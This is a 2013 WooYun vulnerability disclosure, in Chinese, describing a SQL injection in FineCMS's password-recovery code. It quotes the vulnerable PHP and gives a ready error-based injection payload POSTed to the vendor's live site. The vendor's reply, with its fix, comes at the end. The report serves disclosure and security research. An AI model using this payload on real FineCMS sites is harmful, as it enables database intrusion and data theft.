当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046642

漏洞标题:finecms sql注入漏洞

相关厂商:dayrui.com

漏洞作者: 想要减肥的胖纸

提交时间:2013-12-25 17:04

修复时间:2014-03-25 17:04

公开时间:2014-03-25 17:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-25: 细节已通知厂商并且等待厂商处理中
2013-12-25: 厂商已经确认,细节仅向厂商公开
2013-12-28: 细节向第三方安全合作伙伴开放
2014-02-18: 细节向核心白帽子及相关领域专家公开
2014-02-28: 细节向普通白帽子公开
2014-03-10: 细节向实习白帽子公开
2014-03-25: 细节向公众公开

简要描述:

FineCMS是一款基于PHP+MySql开发的内容管理系统,采用MVC设计模式实现业务逻辑与表现层的适当分离,使网页设计师能够轻松设计出理想的模板,插件化方式开发功能易用便于扩展,支持自定义内容模型和会员模型,并且可以自定义字段,系统内置文章、图片、下载、房产、商品内容模型,系统表单功能可轻松扩展出留言、报名、书籍等功能,实现与内容模型、会员模型相关联,FineCMS可面向中小型站点提供重量级网站建设解决方案

详细说明:

漏洞文件
/member/controllers/Login.php

ublic function find() {

$step = max(1, (int)$this->input->get('step'));
$error = '';

if (IS_POST) {
switch ($step) {
case 1:
if ($uid = get_cookie('find')) {
$this->member_msg(lang('m-093'), dr_member_url('login/find', array('step' => 2, 'uid' => $uid)), 1);
} else {
$name = $this->input->post('name');
$value = $this->input->post('value');
$data = $this->db
->select('uid,username,randcode')
->where($name, $value)
->limit(1)
->get('member')
->row_array();


$name(email)在sql语句里是字段,$value([email protected])是值
正常语句是这样的

SELECT `uid`, `username`, `randcode`
FROM `dr_member`
WHERE `email` = '[email protected]'
LIMIT 1


name参数没过滤 并且没被单引号引起来,这里对应的是email

漏洞证明:

exp

http://www.dayrui.net/member/index.php?c=login&m=find
post:
uid=0&name=email=1 AND (SELECT 3002 FROM(SELECT COUNT(*),CONCAT(0x20,(SELECT MID((IFNULL(CAST(version() AS CHAR),0x20)),1,50)),0x20,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)


QQ20131221-1@2x.png

修复方案:

不懂怎么修复,刚接触代码审计,请百度相关通用防注入的代码。

版权声明:转载请注明来源 想要减肥的胖纸@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2013-12-25 17:27

厂商回复:

$name = $this->input->post('name', TRUE);
$value = $this->input->post('value', TRUE);

最新状态:

暂无